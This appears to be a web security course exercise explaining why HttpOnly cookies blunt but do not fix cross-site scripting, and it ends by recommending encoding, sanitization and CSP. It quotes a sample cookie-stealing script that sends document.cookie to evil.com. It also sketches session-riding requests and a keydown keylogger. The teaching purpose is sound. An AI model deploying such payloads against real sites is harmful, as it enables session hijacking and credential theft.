EXERCISE 3 — Why HttpOnly reduces XSS impact but doesn't fix XSS
================================================================

WHAT HttpOnly DOES:
  - HttpOnly is a cookie attribute that makes the cookie INVISIBLE to
    JavaScript: document.cookie won't include it, and script can't read it.
  - So it specifically defeats the classic "steal the session cookie" payload
        <script>fetch('https://evil.com/log?c='+document.cookie)</script>
    because document.cookie no longer contains the session cookie. The
    attacker can't exfiltrate the cookie value to replay it elsewhere.

WHY IT DOES NOT FIX XSS:
  - HttpOnly addresses ONE consequence (reading the cookie), not the bug. The
    XSS still exists: attacker code is still EXECUTING same-origin in the
    victim's session. The script just can't read that one cookie value.
  - Crucially, the script doesn't NEED the cookie to act as the user: when it
    makes same-origin requests, the browser ATTACHES the HttpOnly cookie
    automatically (ambient authority). So the script rides the session
    directly without ever seeing the cookie.

TWO THINGS AN INJECTED SCRIPT CAN STILL DO (cookie unreadable):

  1. ACT AS THE USER via same-origin requests (session riding).
     - fetch('/account/email', {method:'POST', body:...}) runs same-origin;
       the browser auto-attaches the HttpOnly session cookie, and the script
       can READ the response too. So it can change the email, transfer funds,
       post content, read private data -- everything the user can -- WITHOUT
       ever reading the cookie. HttpOnly doesn't stop this at all.

  2. MANIPULATE THE PAGE / HARVEST CREDENTIALS DIRECTLY.
     - Inject a fake login or payment form into the real page, or add a
       keylogger (document.addEventListener('keydown', ...)) to capture the
       password as the user types it, then send the captured text to the
       attacker. This steals credentials directly from the user, no cookie
       needed.
     (Also: read other non-HttpOnly storage like localStorage tokens, deface
     the page, pivot to internal endpoints, spread an XSS worm, etc.)

CONCLUSION:
  HttpOnly is worthwhile defence-in-depth -- it removes a common, easy
  exfiltration path and should be set on session cookies -- but it only
  blunts ONE technique. The script still runs with the user's authority and
  can act as them and attack them in other ways. The real fix is to PREVENT
  the script from executing in the first place: output encoding (Ch.6),
  sanitization (Ch.7), and CSP (Ch.8). HttpOnly is a mitigation layer, not a
  cure.